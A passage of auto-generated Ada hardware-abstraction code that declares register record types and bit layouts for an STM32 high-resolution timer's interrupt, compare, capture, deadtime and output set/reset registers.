Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : TIMBISR_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for TIMBISR_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- TIMBISR_CPT array
type TIMBISR_CPT_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for TIMBISR_CPT
type TIMBISR_CPT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CPT as a value
Val : HAL.UInt2;
when True =>
-- CPT as an array
Arr : TIMBISR_CPT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for TIMBISR_CPT_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Timerx Interrupt Status Register
type TIMBISR_Register is record
-- Read-only. Compare 1 Interrupt Flag
CMP : TIMBISR_CMP_Field;
-- Read-only. Repetition Interrupt Flag
REP : Boolean;
-- unspecified
Reserved_5_5 : HAL.Bit;
-- Read-only. Update Interrupt Flag
UPD : Boolean;
-- Read-only. Capture1 Interrupt Flag
CPT : TIMBISR_CPT_Field;
-- Read-only. Output 1 Set Interrupt Flag
SETx1 : Boolean;
-- Read-only. Output 1 Reset Interrupt Flag
RSTx1 : Boolean;
-- Read-only. Output 2 Set Interrupt Flag
SETx2 : Boolean;
-- Read-only. Output 2 Reset Interrupt Flag
RSTx2 : Boolean;
-- Read-only. Reset Interrupt Flag
RST : Boolean;
-- Read-only. Delayed Protection Flag
DLYPRT : Boolean;
-- unspecified
Reserved_15_15 : HAL.Bit;
-- Read-only. Current Push Pull Status
CPPSTAT : Boolean;
-- Read-only. Idle Push Pull Status
IPPSTAT : Boolean;
-- Read-only. Output 1 State
O1STAT : Boolean;
-- Read-only. Output 2 State
O2STAT : Boolean;
-- unspecified
Reserved_20_31 : HAL.UInt12;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMBISR_Register use record
CMP at 0 range 0 .. 3;
REP at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPD at 0 range 6 .. 6;
CPT at 0 range 7 .. 8;
SETx1 at 0 range 9 .. 9;
RSTx1 at 0 range 10 .. 10;
SETx2 at 0 range 11 .. 11;
RSTx2 at 0 range 12 .. 12;
RST at 0 range 13 .. 13;
DLYPRT at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
CPPSTAT at 0 range 16 .. 16;
IPPSTAT at 0 range 17 .. 17;
O1STAT at 0 range 18 .. 18;
O2STAT at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- Timerx Interrupt Clear Register
type TIMBICR_Register is record
-- Write-only. Compare 1 Interrupt flag Clear
CMP1C : Boolean := False;
-- Write-only. Compare 2 Interrupt flag Clear
CMP2C : Boolean := False;
-- Write-only. Compare 3 Interrupt flag Clear
CMP3C : Boolean := False;
-- Write-only. Compare 4 Interrupt flag Clear
CMP4C : Boolean := False;
-- Write-only. Repetition Interrupt flag Clear
REPC : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- Write-only. Update Interrupt flag Clear
UPDC : Boolean := False;
-- Write-only. Capture1 Interrupt flag Clear
CPT1C : Boolean := False;
-- Write-only. Capture2 Interrupt flag Clear
CPT2C : Boolean := False;
-- Write-only. Output 1 Set flag Clear
SET1xC : Boolean := False;
-- Write-only. Output 1 Reset flag Clear
RSTx1C : Boolean := False;
-- Write-only. Output 2 Set flag Clear
SET2xC : Boolean := False;
-- Write-only. Output 2 Reset flag Clear
RSTx2C : Boolean := False;
-- Write-only. Reset Interrupt flag Clear
RSTC : Boolean := False;
-- Write-only. Delayed Protection Flag Clear
DLYPRTC : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMBICR_Register use record
CMP1C at 0 range 0 .. 0;
CMP2C at 0 range 1 .. 1;
CMP3C at 0 range 2 .. 2;
CMP4C at 0 range 3 .. 3;
REPC at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPDC at 0 range 6 .. 6;
CPT1C at 0 range 7 .. 7;
CPT2C at 0 range 8 .. 8;
SET1xC at 0 range 9 .. 9;
RSTx1C at 0 range 10 .. 10;
SET2xC at 0 range 11 .. 11;
RSTx2C at 0 range 12 .. 12;
RSTC at 0 range 13 .. 13;
DLYPRTC at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
-- TIMxDIER
type TIMBDIER_Register is record
-- CMP1IE
CMP1IE : Boolean := False;
-- CMP2IE
CMP2IE : Boolean := False;
-- CMP3IE
CMP3IE : Boolean := False;
-- CMP4IE
CMP4IE : Boolean := False;
-- REPIE
REPIE : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- UPDIE
UPDIE : Boolean := False;
-- CPT1IE
CPT1IE : Boolean := False;
-- CPT2IE
CPT2IE : Boolean := False;
-- SET1xIE
SET1xIE : Boolean := False;
-- RSTx1IE
RSTx1IE : Boolean := False;
-- SETx2IE
SETx2IE : Boolean := False;
-- RSTx2IE
RSTx2IE : Boolean := False;
-- RSTIE
RSTIE : Boolean := False;
-- DLYPRTIE
DLYPRTIE : Boolean := False;
-- unspecified
Reserved_15_15 : HAL.Bit := 16#0#;
-- CMP1DE
CMP1DE : Boolean := False;
-- CMP2DE
CMP2DE : Boolean := False;
-- CMP3DE
CMP3DE : Boolean := False;
-- CMP4DE
CMP4DE : Boolean := False;
-- REPDE
REPDE : Boolean := False;
-- unspecified
Reserved_21_21 : HAL.Bit := 16#0#;
-- UPDDE
UPDDE : Boolean := False;
-- CPT1DE
CPT1DE : Boolean := False;
-- CPT2DE
CPT2DE : Boolean := False;
-- SET1xDE
SET1xDE : Boolean := False;
-- RSTx1DE
RSTx1DE : Boolean := False;
-- SETx2DE
SETx2DE : Boolean := False;
-- RSTx2DE
RSTx2DE : Boolean := False;
-- RSTDE
RSTDE : Boolean := False;
-- DLYPRTDE
DLYPRTDE : Boolean := False;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMBDIER_Register use record
CMP1IE at 0 range 0 .. 0;
CMP2IE at 0 range 1 .. 1;
CMP3IE at 0 range 2 .. 2;
CMP4IE at 0 range 3 .. 3;
REPIE at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPDIE at 0 range 6 .. 6;
CPT1IE at 0 range 7 .. 7;
CPT2IE at 0 range 8 .. 8;
SET1xIE at 0 range 9 .. 9;
RSTx1IE at 0 range 10 .. 10;
SETx2IE at 0 range 11 .. 11;
RSTx2IE at 0 range 12 .. 12;
RSTIE at 0 range 13 .. 13;
DLYPRTIE at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
CMP1DE at 0 range 16 .. 16;
CMP2DE at 0 range 17 .. 17;
CMP3DE at 0 range 18 .. 18;
CMP4DE at 0 range 19 .. 19;
REPDE at 0 range 20 .. 20;
Reserved_21_21 at 0 range 21 .. 21;
UPDDE at 0 range 22 .. 22;
CPT1DE at 0 range 23 .. 23;
CPT2DE at 0 range 24 .. 24;
SET1xDE at 0 range 25 .. 25;
RSTx1DE at 0 range 26 .. 26;
SETx2DE at 0 range 27 .. 27;
RSTx2DE at 0 range 28 .. 28;
RSTDE at 0 range 29 .. 29;
DLYPRTDE at 0 range 30 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CNTR_CNTx_Field is HAL.UInt16;
-- Timerx Counter Register
type CNTR_Register is record
-- Timerx Counter value
CNTx : CNTR_CNTx_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CNTR_Register use record
CNTx at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype PERBR_PERx_Field is HAL.UInt16;
-- Timerx Period Register
type PERBR_Register is record
-- Timerx Period value
PERx : PERBR_PERx_Field := 16#FFFF#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for PERBR_Register use record
PERx at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype REPBR_REPx_Field is HAL.UInt8;
-- Timerx Repetition Register
type REPBR_Register is record
-- Timerx Repetition counter value
REPx : REPBR_REPx_Field := 16#0#;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for REPBR_Register use record
REPx at 0 range 0 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
subtype CMP1BR_CMP1x_Field is HAL.UInt16;
-- Timerx Compare 1 Register
type CMP1BR_Register is record
-- Timerx Compare 1 value
CMP1x : CMP1BR_CMP1x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP1BR_Register use record
CMP1x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP1CBR_CMP1x_Field is HAL.UInt16;
subtype CMP1CBR_REPx_Field is HAL.UInt8;
-- Timerx Compare 1 Compound Register
type CMP1CBR_Register is record
-- Timerx Compare 1 value
CMP1x : CMP1CBR_CMP1x_Field := 16#0#;
-- Timerx Repetition value (aliased from HRTIM_REPx register)
REPx : CMP1CBR_REPx_Field := 16#0#;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP1CBR_Register use record
CMP1x at 0 range 0 .. 15;
REPx at 0 range 16 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
subtype CMP2BR_CMP2x_Field is HAL.UInt16;
-- Timerx Compare 2 Register
type CMP2BR_Register is record
-- Timerx Compare 2 value
CMP2x : CMP2BR_CMP2x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP2BR_Register use record
CMP2x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP3BR_CMP3x_Field is HAL.UInt16;
-- Timerx Compare 3 Register
type CMP3BR_Register is record
-- Timerx Compare 3 value
CMP3x : CMP3BR_CMP3x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP3BR_Register use record
CMP3x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP4BR_CMP4x_Field is HAL.UInt16;
-- Timerx Compare 4 Register
type CMP4BR_Register is record
-- Timerx Compare 4 value
CMP4x : CMP4BR_CMP4x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP4BR_Register use record
CMP4x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CPT1BR_CPT1x_Field is HAL.UInt16;
-- Timerx Capture 1 Register
type CPT1BR_Register is record
-- Read-only. Timerx Capture 1 value
CPT1x : CPT1BR_CPT1x_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT1BR_Register use record
CPT1x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CPT2BR_CPT2x_Field is HAL.UInt16;
-- Timerx Capture 2 Register
type CPT2BR_Register is record
-- Read-only. Timerx Capture 2 value
CPT2x : CPT2BR_CPT2x_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT2BR_Register use record
CPT2x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype DTBR_DTRx_Field is HAL.UInt9;
subtype DTBR_DTPRSC_Field is HAL.UInt3;
subtype DTBR_DTFx_Field is HAL.UInt9;
-- Timerx Deadtime Register
type DTBR_Register is record
-- Deadtime Rising value
DTRx : DTBR_DTRx_Field := 16#0#;
-- Sign Deadtime Rising value
SDTRx : Boolean := False;
-- Deadtime Prescaler
DTPRSC : DTBR_DTPRSC_Field := 16#0#;
-- unspecified
Reserved_13_13 : HAL.Bit := 16#0#;
-- Deadtime Rising Sign Lock
DTRSLKx : Boolean := False;
-- Deadtime Rising Lock
DTRLKx : Boolean := False;
-- Deadtime Falling value
DTFx : DTBR_DTFx_Field := 16#0#;
-- Sign Deadtime Falling value
SDTFx : Boolean := False;
-- unspecified
Reserved_26_29 : HAL.UInt4 := 16#0#;
-- Deadtime Falling Sign Lock
DTFSLKx : Boolean := False;
-- Deadtime Falling Lock
DTFLKx : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for DTBR_Register use record
DTRx at 0 range 0 .. 8;
SDTRx at 0 range 9 .. 9;
DTPRSC at 0 range 10 .. 12;
Reserved_13_13 at 0 range 13 .. 13;
DTRSLKx at 0 range 14 .. 14;
DTRLKx at 0 range 15 .. 15;
DTFx at 0 range 16 .. 24;
SDTFx at 0 range 25 .. 25;
Reserved_26_29 at 0 range 26 .. 29;
DTFSLKx at 0 range 30 .. 30;
DTFLKx at 0 range 31 .. 31;
end record;
-- SETB1R_CMP array
type SETB1R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETB1R_CMP
type SETB1R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : SETB1R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETB1R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETB1R_MSTCMP array
type SETB1R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETB1R_MSTCMP
type SETB1R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : SETB1R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETB1R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETB1R_TIMEVNT array
type SETB1R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for SETB1R_TIMEVNT
type SETB1R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : SETB1R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for SETB1R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- SETB1R_EXTEVNT array
type SETB1R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for SETB1R_EXTEVNT
type SETB1R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : SETB1R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for SETB1R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output1 Set Register
type SETB1R_Register is record
-- Software Set trigger
SST : Boolean := False;
-- Timer A resynchronizaton
RESYNC : Boolean := False;
-- Timer A Period
PER : Boolean := False;
-- Timer A compare 1
CMP : SETB1R_CMP_Field := (As_Array => False, Val => 16#0#);
-- Master Period
MSTPER : Boolean := False;
-- Master Compare 1
MSTCMP : SETB1R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- Timer Event 1
TIMEVNT : SETB1R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- External Event 1
EXTEVNT : SETB1R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- Registers update (transfer preload to active)
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SETB1R_Register use record
SST at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- RSTB1R_CMP array
type RSTB1R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTB1R_CMP
type RSTB1R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : RSTB1R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTB1R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTB1R_MSTCMP array
type RSTB1R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTB1R_MSTCMP
type RSTB1R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTB1R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTB1R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTB1R_TIMEVNT array
type RSTB1R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for RSTB1R_TIMEVNT
type RSTB1R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : RSTB1R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for RSTB1R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- RSTB1R_EXTEVNT array
type RSTB1R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTB1R_EXTEVNT
type RSTB1R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTB1R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTB1R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output1 Reset Register
type RSTB1R_Register is record
-- SRT
SRT : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : RSTB1R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : RSTB1R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : RSTB1R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : RSTB1R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTB1R_Register use record
SRT at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- SETB2R_CMP array
type SETB2R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETB2R_CMP
type SETB2R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : SETB2R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETB2R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETB2R_MSTCMP array
type SETB2R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETB2R_MSTCMP
type SETB2R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : SETB2R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETB2R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETB2R_TIMEVNT array
type SETB2R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for SETB2R_TIMEVNT
type SETB2R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : SETB2R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for SETB2R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- SETB2R_EXTEVNT array
type SETB2R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for SETB2R_EXTEVNT
type SETB2R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : SETB2R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for SETB2R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output2 Set Register
type SETB2R_Register is record
-- SST
SST : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : SETB2R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : SETB2R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : SETB2R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : SETB2R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SETB2R_Register use record
SST at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- RSTB2R_CMP array
type RSTB2R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTB2R_CMP
type RSTB2R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : RSTB2R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTB2R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTB2R_MSTCMP array
type RSTB2R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTB2R_MSTCMP
type RSTB2R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTB2R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTB2R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTB2R_TIMEVNT array
type RSTB2R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for RSTB2R_TIMEVNT
type RSTB2R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : RSTB2R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for RSTB2R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- RSTB2R_EXTEVNT array
type RSTB2R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTB2R_EXTEVNT
type RSTB2R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTB2R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTB2R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output2 Reset Register
type RSTB2R_Register is record
-- SRT
SRT : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : RSTB2R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : RSTB2R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : RSTB2R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : RSTB2R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTB2R_Register use record
SRT at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
subtype EEFBR1_EE1FLTR_Field is HAL.UInt4;
subtype EEFBR1_EE2FLTR_Field is HAL.UInt4;
subtype EEFBR1_EE3FLTR_Field is HAL.UInt4;
subtype EEFBR1_EE4FLTR_Field is HAL.UInt4;
subtype EEFBR1_EE5FLTR_Field is HAL.UInt4;
-- Timerx External Event Filtering Register 1
type EEFBR1_Register is record
-- External Event 1 latch
EE1LTCH : Boolean := False;
-- External Event 1 filter
EE1FLTR : EEFBR1_EE1FLTR_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 2 latch
EE2LTCH : Boolean := False;
-- External Event 2 filter
EE2FLTR : EEFBR1_EE2FLTR_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 3 latch
EE3LTCH : Boolean := False;
-- External Event 3 filter
EE3FLTR : EEFBR1_EE3FLTR_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 4 latch
EE4LTCH : Boolean := False;
-- External Event 4 filter
EE4FLTR : EEFBR1_EE4FLTR_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 5 latch
EE5LTCH : Boolean := False;
-- External Event 5 filter
EE5FLTR : EEFBR1_EE5FLTR_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EEFBR1_Register use record
EE1LTCH at 0 range 0 .. 0;
EE1FLTR at 0 range 1 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE2LTCH at 0 range 6 .. 6;
EE2FLTR at 0 range 7 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE3LTCH at 0 range 12 .. 12;
EE3FLTR at 0 range 13 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE4LTCH at 0 range 18 .. 18;
EE4FLTR at 0 range 19 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE5LTCH at 0 range 24 .. 24;
EE5FLTR at 0 range 25 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
subtype EEFBR2_EE6FLTR_Field is HAL.UInt4;
subtype EEFBR2_EE7FLTR_Field is HAL.UInt4;
subtype EEFBR2_EE8FLTR_Field is HAL.UInt4;
subtype EEFBR2_EE9FLTR_Field is HAL.UInt4;
subtype EEFBR2_EE10FLTR_Field is HAL.UInt4;
